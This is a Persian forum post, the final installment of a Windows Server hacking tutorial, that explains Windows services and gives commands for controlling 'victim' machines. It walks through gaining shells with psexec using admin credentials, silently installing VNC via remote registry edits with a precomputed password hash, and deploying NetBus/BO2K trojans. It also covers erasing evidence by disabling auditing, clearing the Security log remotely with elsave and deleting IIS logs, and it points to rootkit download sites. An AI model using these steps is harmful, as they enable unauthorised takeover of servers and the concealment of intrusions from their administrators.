پاسخ به:آموزش های تخصصی شبکه و امنیت و ضد امنیت
شنبه 28 مرداد 1391 12:30 AM
ضروريات ويندوز سرور براي متخصصين - قسمت آخر
- يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- سرويسها در ويندوز سرور
براي بعضي کارهاي خاص، بعضي سرويسها بايد در کامپيوتر قرباني فعال باشند يا ما بايد فعالشون کنيم. ( مثلا در درسهاي قبلي در مورد schedule service مطالبي رو به شما گفتم. فرمودم! که اگه بخوايم کارهاي زمانبندي شده رو در سرور ويندوز انجام بديم، اين سرويس بايد بهراه باشه. ) بنابراين از ديد يک هکر بعضي سرويسها مهمتر هستند که به اونها خواهيم پرداخت.
اول چند اصطلاح رو بايد ياد بگيريد:
۱- Display Name : نام کامل سرويس است. مثلا "Terminal Services" براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۲- Service Name يا Key Name : نام خلاصه شده و يک کلمهاي براي سرويسهاست. مثلا TermService براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۳- Process Name : اسم يک فايل اجرايي ( با پسوند exe ) که سرويس رو ايجاد کرده است. مثلا svchost.exe براي ترمينال سرويس. ( دقت کنيد که ممکن است يک پروسس چند سرويس مختلف رو ايجاد کند )
خوب حالا بهتره بدونيد که سيستمعامل موقعي که بالا مياد ( restart ميشه ) با توجه به تنظيمات هر سرويس ميتونه به سه شکل با اون رفتار کنه:
۱- Automatic : اگر سرويس در اين وضعيت تنظيم شده باشد، هر وقت که سرور بالا مياد، سرويس هم به صورت اتوماتيک شروع به کار ميکنه.
۲- Manual : اگر سرويس در اين وضعيت باشه، به صورت دستي ( يا توسط يک سرويس ديگه ) ميشه اونو فعال يا غير فعال کرد ولي موقع بالا اومدن به صورت پيشفرض غير فعال خواهد بود.
۳- Disabled : اگه سرويس در اين وضعيت باشه، موقع بالا اومدن سيستمعامل، غير فعال خواهد بود و يک يوزر يا يک سرويس وابسته نميتونه اونو فعال کنه.
وضعيت سرويسها هم قابل بررسي است:
۱- Running : يعني الان در وضعيت اجرا است.
۲- Paused : يعني هنوز در وضعيت اجرا هست ولي کاري رو قبول نميکنه. براي ادامه کار بايد Continue کنيم.
۳- Stopped : يعني متوقف شده، براي ادامه کار دوبار بايد Start بشه.
و ما نسبت به اين سرويسها چند تا کار ميتونيم انجام بديم:
۱- Start : يعني از حالت Stopped خارج بشه و شروع به کار کنه.
۲- Stop : يعني متوقف بشه.
۳- Pause : يعني کاري رو قبول نکنه. يه درجه پايين تر از stop است چون براي ادامه کار لازم نيست دوباره فراخواني بشه ( يعني آماده کار است ولي موقتا کاري نميگيره )
۴- Continue : يعني از حالت Pause خارج شده و در وضعيت Running قرار بگيره.
۵- Delete : يعني يک سرويس موجود رو پاک کنيم ( اگه بخوايم دوباره بهش دسترسي پيدا کنيم، بايد دوباره نصب شود ). با اين کار تمام کليدها و وروديهاي مربوطه از رجيستري پاک ميشوند.
۶- Create و Install : عمل عکس Delete رو انجام بديم. يعني يک سرويس جديد ايجاد کنيم. با اين کار کليدها و وروديهاي مربوطه به رجيستري اضافه ميشوند.
حالا بهتره سرويسهاي مهم هکري رو ليست کنم ( اين ليست از سايت http://www.ss6A.com گرفته شده است. با کمي تغييرات و اضافات ) :
Display nameService nameProcess nameDescriptionStatusApplication ManagementappmgtServices.exe or svchost.exeInstallation services (Add/Remove Programs) - Assign, Publish, and Remove.ManualComputer BrowserBrowserServices.exeActively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections).
This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager.AutomaticDHCP Client DhcpServices.exe or svchost.exeManage network configuration by registering and updating IP addresses and DNS names.AutomaticDNS ClientDnscacheServices.exeResolves and caches Domain Name System (DNS) names.AutomaticEventLogEventLogServices.exeRecord System, Security, and Application Events.
Viewed with the MMC Event Viewer (eventvwr.exe in NT). AutomaticIIS Admin ServiceIISAdmin%SystemRoot%\System32\inetsrv\ineti nfo.exeAll ows administration of Web and FTP services through the Internet Information Services snap-in.Automatic (if IIS installed)Internet Connection Sharing (Internet Connection Firewall)SharedAccesssvchost.exe -k netsvcs Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection.AutomaticIPSEC Policy Agent PolicyAgentlsass.exe Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver.Automatic or DisableKerberos Key Distribution Centerkdclsass.exeGenerates session keys and grants service tickets for mutual client/server authentication.DisableMessengerMessengerServices.e xeProcess the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear.
This service is also required to receive any messages sent by the Messenger service from another machine.
This service is not related to Windows Messenger AutomaticNetwork Connections Netmansvchost.exe -k netsvcsManage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) ManualNet Logon NetlogonLsass.exe
(Local Security Authority Subsystem)Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. Automatic - when connected to a domain.
Manual for stand-alone machines.NetMeeting Remote Desktop Sharing Nmnsrvcmnmsrvc.exeAllows authorized people to remotely access your Windows desktop using NetMeeting.Manual or DisabledNT LM Security Support Provider NtLmSspServices.exeExtends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes.
RPC activity is quite common, and most RPC apps don't use named pipes. ManualProtected Storage ProtectedStoragePstores.exeEncrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys.AutomaticRemote Procedure Call (RPC) Locator RpcLocatorLocator.exe Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications.ManualRemote Procedure Call (RPC) Service
or
Remote Procedure Call (RPC) RpcSsRpcss.exe or svchost -k rpcssThis RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager)
Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model). AutomaticRemote Registry Service RemoteRegistryregsvc.exeAllow remote registry manipulation.Automatic or disabledRouting and Remote Access RemoteAccesssvchost.exe -k netsvcsAllow incoming connections via dial in or ***.Disable for security reasons or Manual RunAs Service (Secondary Logon)secLogonservices.exe or svchost.exe Enables starting processes under alternate credentials.Automatic or DisableSchedule (Task scheduler) Scheduleatsvc.exe or mstask.exe This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time.
Under NT it's a Resource Hog.
Under XP it's used by some auto-tuning operations.AutomaticSecurity Accounts Manager SamSslsass.exe Stores security information for local user accounts.AutomaticServerLanmanServerServices.exe Support for file sharing, print sharing, and named pipe sharing via SMB services.Automatic.
Disable on an IIS Server or if no resources are shared. Simple Mail Transport Protocol (SMTP)SmtpSvc%SystemRoot%\System32\inetsrv\inetinf o.exeTrans ports electronic mail across the networkAutomatic (if IIS installed)Simple TCP/IP Services SimpTcptcpsvcs.exe Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day. SNMP ServiceSnmpsnmp.exe Agents that monitor the activity in network devices and report to the network console workstation.Automatic (if installed)SNMP Trap Service Snmptrapsnmptrap.exe Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer.Automatic (if installed)System Event Notification SENSsvchost.exe -k netsvcs Track system events such as Windows logon, network, and power events.
Notifiy COM+ Event System subscribers of these events.AutomaticTCP/IP NetBIOS HelperlmHostsServices.exe Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins)
This is an alternative to the more standard DNS lookup. Telnet TlntSvrtlntsvr.exe Allows a remote user to log on to the system and run console programs using the command line.Manual or Disabled.Terminal Services TermServicesvchost.exeRequired for Fast User Switching, Remote Desktop and Remote Assistance DisableWebClient (XP)WebClientsvchost.exe Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk.DisableWindows Management Instrumentation WinMgmt%SystemRoot%\System32\WBEM\WinMgmt.exeProvi des system management information.AutomaticWindows Time W32timeservices.exe Update the computer clock by reference to an internet time source or a time server.Automatic or disableWorkstationlanmanworkstationServices.exe Communications and network connections.
Services dependent on this being started: Alerter, Messenger, and Net Logon. Automatic.
or Manual - for a stand-alone PC with no LAN or internet connection.World Wide Web Publishing ServiceW3Svc%SystemRoot%\System32\inetsrv\inetinfo .exeProvid es Web connectivity and administration through the Internet Information Services snap-in.Automatic (if IIS installed)
خوب معلومه که لازم نيست ليست رو حفظ کنيد! ولي اگه يه کمي روي اين جدول کار کنيد، خيلي ميتونه کمکتون کنه. مثلا اگه فردا گفتم که فلان Exploit واسه يک حفره امنيتي در Workstation Service هستش، بدونيد چي به چيه...
اينها که گفتم، تعدادي از سرويسهاي ويندوزه. اونهم سرويسهاي استاندارد ويندوز. اين به اون معني است که محصولات third-party مثلا فايروالهاي نرمافزاري، ابزارهاي remote control و ... هم ميتونند يک سرويس واسه خودشون راه بندازند و اين اصلا عجيب نيست!
ميرسيم به کار با سرويسها و ابزارهاي لازمه:
۱- کار با سرويسها وقتي که پشت کامپيوتر خودمون نشستهايم ( يا با يک remote control گرافيکي به کامپيوتر هدف متصل شدهايم ) :
در اين مواقع ميتونيد در قسمت RUN بنويسيد:winmsd.exe يا services.msc
اگر winmsd.exe را آوردهايد ( نام اين برنامه System Information است)، در قسمت سمت راست پنجره مسير Software Invironment > Services را طي کنيد. حالا ميتوانيد، اسم و وضعيت سرويسها رو ببينيد. ولي نميتونيد تغييري اعمال کنيد.
اگر services.msc را آوردهايد ( نام اين برنامه Services است)، علاوه بر نام و وضعيت سرويسها که ميبينيد، ميتونيد با راست کليک روي هر سرويس ( يا به کمک بار بالايي ) در سرويسها تغييراتي اعمال کنيد. مثلا شروع يا متوقف کنيد، Status را تغيير دهيد و ...
۲- کار با سرويسها به صورت خط فرماني:
در اين موارد از ابزارهاي خاصي مثل دستورات net ( يعني net start و net stop و net pause و net continue ) و نيز ابزارهاي NTRK ( يعني sc و sclist و netsvc و delsrv و isntsrv و srvany و svcmon و winmsdp ) استفاده کنيم. دستورات net که ميدونيد، هم به صورت loacl و هم remote قابل استفاده هستند. ولي در مورد ابزارهاي NTRK، بعضي فقط به صورت لوکال و بعضي فقط remote و بعضي هر دو کاربرد دارند. من کارهايي که با سرويسها ميشه انجام داد رو ليست ميکنم، و در هر کدوم ميگم که اگع بخوايم به صورت لوکال يا ريموت کار کنيم، از چه ابزارهايي ميشه استفاده کرد:
( حتما به کاربرد دستور find که در تعدادي از دستورات پاييني استفاده کردهام، دقت کنيد! )
( وقتي در يک موردي چندتا دستور مختلف رو ميگم، انتخاب هر کدوم به دلخواه شماست! )
+ ليست کردن سرويسهاي موجود:
- لوکال: sclistsc querywinmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )- ريموت: netsvc /list \\xxx.xxx.xxx.xxx
+ بررسي وضعيت يک سرويس از نظر Running بودن، Paused بودن، Stoped بودن و اطلاعات ديگر ... ( مثلا Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ) :
- لوکال: sclist | find "Schedule"sc query Schedule sc query Schedule | find "STATE"sc qc Schedule - ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /querynetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /querysc \\xxx.xxx.xxx.xxx query Schedule sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE"sc \\xxx.xxx.xxx.xxx qc Schedule
+ Stopped کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net stop Schedulenet stop "Task Scheduler"sc stop Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /stopnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stopsc \\xxx.xxx.xxx.xxx stop Schedule
+ از حالت Stopped در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net start Schedulenet start "Task Scheduler"sc start Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /startnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /startsc \\xxx.xxx.xxx.xxx start Schedule
+ Paused کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net pause Schedulenet pause "Task Scheduler"sc pause Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /pausenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pausesc \\xxx.xxx.xxx.xxx pause Schedule
+ از حالت Paused در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net continue Schedulenet continue "Task Scheduler"sc continue Schedule- ريموت: netsvc TermsService \\xxx.xxx.xxx.xxx /continuenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continuesc \\xxx.xxx.xxx.xxx continue Schedule
+ Delete کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: sc delete Scheduleinstsrv Schedule removedelsrv Schedule- ريموت: sc \\xxx.xxx.xxx.xxx delete Schedule
+ Create يا Install کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule )instsrv Schedule zzzzzsrvany ���� ( ba in dastur ham mishavad vali man syntax-esho nemidunam )- ريموت: sc \\xxx.xxx.xxx.xxx create Schedule binPath=zzzz
خوب به سلامتي اينا تموم شد، حالا فقط يه نکته مونده. فرض کنيد که من Display Name مربوط به Schedule سرويس رو ميدونم که هست: Task Scheduler در حاليکه Service Name يا Key Name اش رو نميدونم و ميخوام پيدا کنم. کافي است دستور زير رو بنويسم: sc GetKeyName "task scheduler"و جواب چيزي است که من ميخوام. حالت برعکس هم داريم، مثلا Key Name رو ميدونم که Schedule است، ميخوام Display Name رو بگيرم. مينويسم: sc GetDisplayName scheduleراحت شديم از سرويسها!
- Remote Controls
همانطور که ميدونيد، Remote Control ها بر دو نوعند:
۱- خطفرماني ( مثلا استفاده از nc يا at يا rcmd يا remote يا netcmd يا p***ec )
۲- گرافيکي ( مثلا Terminal Services ويندوز يا VNC يا تروجانهايي مثل BO2K يا NetBus )
حالا بررسي هر يک:
+ استفاده از nc :
استفاده از nc به عنوان يک Remote Control قبلا و به طور مفصل در اينجا بحث شده است.
+ استفاده از at :
کار با at رو اينجا توضيح دادم. اگه يادتون باشه ما از at به عنوان يک Remote Control استفاده نميکرديم، بلکه موقعي ازش استفاده ميکرديم که ميخواستيم يه دستور خاص ( مثلا ايجاد يک پورت جديد به کمک nc رو ) مثلا چند دقيقه ديگر اجرا کنيم. به عبارت ديگه at کاتاليزور است!
+ استفاده از rcmd :
rcmd يا به عبارتي Remote Command Service يکي از ابزارهاي موجود در مجموعه NTRK است. دو تا فايل دارد که بدرد ما ميخوره. اولي rcmdsvc.exe است که درواقع فايلي است که به عنوان سرور بايد به کامپيوتر قرباني کپي شده و اجرا شود و يک سرويس براي ما تشکيل دهد. دومي rcmd.exe است که قسمت کلاينت محسوب ميشه و اونو تو کامپيوتر خودمون اجرا ميکنيم که به سرويسي که rcmdsrv ايحاد کرده متصل شود. ( nc رو دوست دارم، اينا رو دوست ندارم! )
+ استفاده از remote :
remote هم از ابزارهاي موجود در NTRK است. فقط يک فايل است که هم ميتونه نقش سرور و هم نقش کلاينت رو بازي کنه. براي اينکه نقش سرور رو ايفا کنه، فايل رو به کامپيوتر قرباني فرستاده و اونجا مينويسم: remote /s cmd zzzzzzzzzzzz يعني هر چيزي که شما دوست داري! وقتي اين دستور اجرا شد، تو کامپيوتر خودم مينويسم: remote /c xxx.xxx.xxx.xxx zzzzzzکه xxx.xxx.xxx.xxx به عنوان ip قرباني است و zzzzz همون چيزي است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اينا رو دوست ندارم! )
+ استفاده از netcmd :
خوب فرض کنيد که من پسورد Admin رو دارم و يک session با IPC$ ايجاد کردهام. حالا ميتونم با دستور netcmd يه shell ازش بگيرم. قبلا و در اينجا بحث شده است.
+ استفاده از p***ec :
ميشه گفت يه جورايي کار netcmd رو انجام ميده ولي ديگه نيازي به ايجاد session نداره. p***ec رو ميتونيد از سايت SysInternals پيدا کنيد. لزومي به کپي کردن هيچ فايلي در کامپيوتر قرباني نيست. اگر اکانتي به اسم Ali با پسورد thepassword در حد اکانت Admin باشد، مينويسيد: p***ec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exeو يک شل خطفرماني بگيريد.
+ استفاده از Terminal Services :
رسيديم به Remote Control هاي گرافيکي و اولين موردي که از اين گروه بحث ميکنيم، همين ترمينال سرويس است. ترمينال سرويس مربوط به خود ويندوز است ( جزو سرويسهاي استاندارد اون ) ولي به صورت پيشفرض غيرفعال است. اگه فعال باشه، روي پورت 3389 فالگوش ميمونه. اگه فعال نباشه، ميشه اونو نصب کرد ولي دنگوفنگ زياد داره. اگه فعال باشه، براي اتصال به اين Terminal Service کلاينتهاي مختلفي براي اون هست. از فايلهاي اجرايي مثل اين و اين گرفته تا Active-X هايي که رو IE اجرا ميشوند. username و password اش هم همان اکانتهاي ويندوز است.
+ استفاده از VNC يا به عبارتي Virtual Network Computing يا به عبارتي WinVNC :
من خيلي خوشم مياد ازش! دوستش دارم! نصب کردنش روي کامپيوتر قرباني يه کم سخته ( چون اصولا اين يک تروجان نيست، يه محصول باشخصيته! ). اول بايد از اينجا اونو داونلود کنيد. بعد فايلهاي winvnc.exe و vnchooks.dll و omnithread_rt.dll رو به کامپيوتر قرباني و در يک فولدر خاص ميفرستيم. بعد مييايم و يک فايل به اسم مثلا winvnc.ini ايجاد ميکنيم که کارش اينه که يک سري تغييرات در رجيستري ايجاد کند و يک پسورد واسه VNC ست کند. VNC از الگوريتم 3DES واسه hash کردن رمز استفاده ميکنه و رمز را در HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 دخيره ميکند. ميتونيد يک پسورد رو ست کنيد و بعد ببينيد که چه شکلي ذخيره ميشه. اگه پسورد انتخابي کلمه secret باشه، معادل hash شده اون در VNC عبارت: 0x57bf2d2e 0x9e6cb06e خواهد بود. پس من اگه پسورد انتخابيام کلمه secret باشه، حالا بايد يک فايل درست کنم مثلا به اسم winvnc.ini که توش اينها باشه: HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = 0x00000008 0x57bf2d2e 0x9e6cb06eو بعد به کمک regini ( که قبلا گفتم يک ابزار از NTRK است ) به صورت ريموت ( يعني از کامپيوتر خودمان ) دستور زير رو اجرا ميکنيم: regini -m \\xxx.xxx.xxx.xxx winvnc.iniحالا که ما تونستيم تغييرات رو در رجيستري اعمال کنيم، بايد سرويس رو آغاز کنيم. مينويسيم: winvnc -installnet start winvncو کار تمام است. حالا در کامپيوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو ميبريم!
+ استفاده از NetBus و BO2K :
خوب اينها تروجان هستند. هر تروجاني معمولا يک فايل براي ايجاد فايل سرور دارد. وقتي فايل سرور ايجاد شد، اونو به کامپيوتر قرباني کپي کرده و اجرا ميکنيم. و بعد توسط کلاينت مربوطه به سرور متصل ميشويم. ( کار با اينها بسيار سادهاست )
- پاک کردن رد پا
الف- ويندوز رويدادها را در کجا ذخيره و گزارش ( log ) ميکند؟
در ويندوز سه فايل داريم که در اونها لاگها ذخيره ميشوند: AppEvent.Evt و SecEvent.Evt و SysEvent.Evt که از بين اينها اوني که بدرد ما ميخوره، فقط SecEvent.Evt است که محل ذخيره تلاشها ناموفق براي وارد شدن به سيستم ( مثلا با کمک يک کرکر ) و ... است. مسيري که اين سه فايل قرار دارند، اينجاست: %SystemRoot%\System32\Configدر خود ويندوز به کمک EventViewer ( کافي است در Run بنويسيد: eventvwr.msc ) ميشه اين فايلها رو بررسي کرد. ضمنا تغيير دادن اين فايلهاي لاگ، نياز به دسترسي به سيستم در سطح Admin دارند. اين ابزار بدرد ما نميخوره، ما ميخوايم ردپاهاي خودمون رو پاک کنيم و نيز دسترسي به صورت فيزيکي ( يا توسط يک ريموت کنترل گرافيکي ) به سيستم قرباني نداريم:
+ غير فعال کردن گزارش گيري:
اولين کار اينه که Auditing رو غير فعال کنيم. اين کار توسط يک ابزار از NTRK به نام auditpol قابل انجام است. مينويسيم: auditpol /disableبا اين دستور ديگه هيچ گزارشي اضافه نخواهد شد. ( ولي گزارشهاي بعدي باقي خواهند ماند ) اگه بخوايم دوباره فعال کنيم،مينويسيم: auditpol /enableمشخص است که اين ابزار بايد به صورت لوکال استفاده بشه. يعني چون ما ميخواهيم اين کارها رو در سرور قرباني انجام بديم، اين ابزار رو همونجا فرستاده و اجرا ميکنيم.
+ پاک کردن SecurityLog :
گفتم که بين همه لاگها اين مهمتره، حالا ميخوام اين فايل رو پاک کنم. براي اين کار ابزاري هست به نام elsave که به صورت ريموت اين کار رو ميکنه. مثلا اگه بنويسم: elsave -s \\xxx.xxx.xxx.xxx -l "Security" -Cبه صورت ريموت سکيورتيلاگ رو پاک ميکنه ( قبلش بايد يک session ميداشتم تا اين دستور کار کنه) دقت کنيد که به صورت لوکال و با دستور del نميشه اين فايلهاي لاگ رو پاک کرد!
+ ابزارهاي ديگه از NTRK در اين زمينه:
ابزارهاي ديگهاي هم هستند مثل dumpel که در گزارش گيري از لاگها و ... کاربرد دارند.
ب- IIS گزارشها رو در کجا ذخيره ميکند؟
IIS رفيق فابريک منه! وقتي شما يک سايت رو ميريد و ميبينيد ( يا توسط يک باگ در IIS به سيستم وارد ميشويد ) فعاليتهاي شما در فايلي ذخيره و Log ميشود. اول اين نکته رو ميدونيد که يک سرور ميتونه توش سايتهاي مختلف و Virtual Diectory هاي مختلفي باشه. هر کدام از اين سايتها لاگ IIS مخصوص به خود خواهند داشت. مسيري که لاگهاي IIS قرار ميگيرند، اينه: %SystemRoot%\System32\LogFilesدر اين فولدر، زيرشاخهها ( فولدرهاي جديدي ) هست. به اين ترتيب که واسه هر سايتي يه فولدر هست. اسم اين فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل اين فولدرها فايلهاي لاگ جاي دارند. حالت پيشفرض اينه که گزارشهاي هر روز سايت داخل يک فايل ذخيره ميشه. اسم فايل جور خاصي است که تاريخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به يک سايتي W3SVC1 و تاريخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فايل لاگ اين خواهد بود: %SystemRoot%\System32\LogFiles\W3SVC1\ex030912.logبرخلاف فايلهاي لاگ ويندوز که با دستور del قابل پاککردن نبود، فايلهاي لاگ IIS خيلي شيک با del پاک ميشه ( چون ويندوز اين فايلها رو Lock نميکنه). بنابراين ما بايد تمام لاگهاي مربوط به روز خاصي که جايي رو هک کردهايم رو پاک کنيم!
- RootKit چيست؟
دليل اصلي استفاده از rootkit ها اين است که هکر بتونه براي مدت بيشتري در کامپيوتر قرباني دوام بياره. فرض کنيد که يک تروجان به کامپيوتر قرباني فرستادهايد يا از کامپيوتر قرباني براي يک DDoS گسترده ميخواين استفاده کنيد. مسلم است که اگه طرف مقابل آدم مجربي باشه، با کمي بررسي سيستمعامل خود پي خواهد برد که يک SpyWare در کامپيوترش هست. ولي وقتي Rootkit استفاده بشه، سيستمعامل جوري تغيير ميکنه که اين تغييرات نشون داده نشه. به عنوان مثال يکي از راههايي که مسوول سرور ميفهمه که کامپيوترش هک شده و يک سرور ( تروجان ) ناخواسته داره، بررسي پورتهاي باز کامپيوتر توسط دستور netstat است. حالا اگه ما اين دستور رو جوري تغيير دهيم ( يعني اگه يک نسخه جديد از اين برنامه با توجه به نيازهامان ايجاد کرده و در کامپيوتر قرباني نصب کنيم ) در واقع اين روش رو غير فعال کردهايم. rootkit ها مي تونند خود سيستمعامل رو هدف قرار بدهند. مسلم است که نوشتن يک rootkit براي سيستمعاملهاي open-source مثل linux بسيار راحتتر از ايجاد rootkit براي ويندوز است. اما بايد توجه کنيد که rootkit رو ميشه به دو دسته تقسيم کرد:
۱- آن دسته از Rootkit هايي که قسمتهايي از سيستمعامل ( تعدادي از فايلهاي اجرايي اونو ) تغيير ميدهند. مثلا بعضي Registry Key ها رو مخفي کنند يا مخفي کردن پروسسها يا محفي کردن فايلهاي تروجان و ... همچين rootkit هايي براي ويندوز طراحي شده اند.
۲- آن دسته از Rootkit هايي که در سطح هسته ( کرنل ) سيستمعامل عمل ميکنند. براي اينگونه از rootkit ها براي مثلا لينوکس مثالهايي هست ولي براي ويندوز ( خصوصا ويندوز سرورها که بحث ماست ) من مثالي که واقعا کار کنه و detect هم نشوند، سراغ ندارم.
چند سايت در اين زمينه:
http://www.rootkit.com و http://www.ntndis.com/downloads.shtml (نسخه آلفا از NT Rootkit )
http://www.pestpatrol.com/Support/Downloads.asp ( به نام AFX Windows Rootkit 2003 )
و ...
- Keystroke Loggers و Sniffers
بحث keylogger ها و sniffer ها يه درس مفصل رو طلب ميکنه. فقط يه اشاره بکنم:
sniffer ها کارشون اينه که پکتهايي را که در شبکه ردو بدل ميشوند، براي هکر ذخيره ميکنند ( خود LC4 که توضيح دادمش، يک ابزار packet capture يا sniffer توش داره که challenge/response هاي LM و NTLM رو لاگ ميکنه. بعدا توضيح خواهم داد )
keylogger ها هم کارشون اينه که کليدهايي که فشرده ميشوند ( مثلا از طريق keyboard ) رو ذخيره ميکنند. مثلا وقتي کسي که کامپيوترش هک شده، و هکر يه keylogger روي کامپيوتر طرف نصب کرده است، وقتي قرباني معصوم مياد و پسورد يه جايي رو وارد ميکنه، اين رشته ذخيره ميشه و هکر هم اطلاعات رو ميگيره و کيف ميکنه
- انواع exploit ها
انواع exploit ها يه تقسيمبندي کلي در مورد هک کردن هر نوع سيستمعاملي است. چه ويندوز و چه غيرويندوز:
۱- remote exploits: مجموعهاي از exploit ها که ما از يک کامپيوتر ديگه ( مثلا کامپيوتر خودمون ) توسط اونا به يک کامپيوتر در شبکه نفوذ ميکنيم. اين exploit ها معمولا در موارد اوليه هک استفاده ميشوند. در صورت استفاده از اين exploit ها در ويندوز ممکن است دسترسي در سطح Admin رو به ما ندهند ولي وارد شدن به سيستم حتي به صورت يک اکانت محدود هم لازم است تا توسط exploitهاي local دسترسي رو بالاتر ببريم. وقتي به کمک يک vulnerability scanner يک کامپيوتر رو از نظر حفرههاي امنيتي تست ميکنيم، معمولا نهايتا به همين نوع exploit ها ميرسيم.
۲- local exploits: اين exploit ها موقعي کاربرد دارند که يک console ( يا همون shell خودمون ) در سيستم داشته باشيم. به عبارت ديگه قبلا به طريقي به يک سيستم وارد شدهايم ( توسط remote exploit يا داشتن اکانتهاي محدود ) و حالا ميخواهيم که دسترسي خودمون رو گسترش بديم. مثلا ما الان به صورت guest وارد شدهايم ولي ميخواهيم به دسترسي Admin برسيم. بنابراين مهمترين انواع اين exploit ها در ويندوز عبارتند از get admin ها يعني اونايي که ما رو از يک اکانت محدود به اکانت Administrator ميرسونند.
توضيحي که بايد بدم اينه که اين دو نوع exploit مکمل همديگرند. ( البته خيلي از exploit ها هستند که هم به صورت local و هم به صورت remote قابل استفاده هستند ). به عنوان يک هکر، اول کشف ميکنيم که مثلا اين سيستمعامل يک ويندوز ۲۰۰۰ سرور است. حالا به طريقي يه exploit از نوع remote بدست مياوريم ( اگه قبلا يک اکانت در اون سرور بدست آوردهايم، ممکن است لزومي به اين مرحله نباشد ). حالا اگه به shell رسيديم و بخواهيم به فولدري دسترسي داشته باشيم که با اين shell نو رسيده! با توجه به مجوزهايش قابل دسترس نباشد، بايد از local exploit ها استفاده کنيم. ( اگه به فولدر مورد نظر دسترسي داشتيم که ديگه لازم نيست). خلاصه اينکه ممکن است در مواردي نياز به remote exploit يا local exploit يا هردو نباشد ولي بتونيم هک کنيم. به عبارت بهتر شرايط تعيين ميکنه که به چه نوع exploit هايي نياز داريم.
ادامه درسهاي هک ويندوز سرور در واقع چيزي جز بررسي اين دو نوع exploit نيست.
** دارالولایه **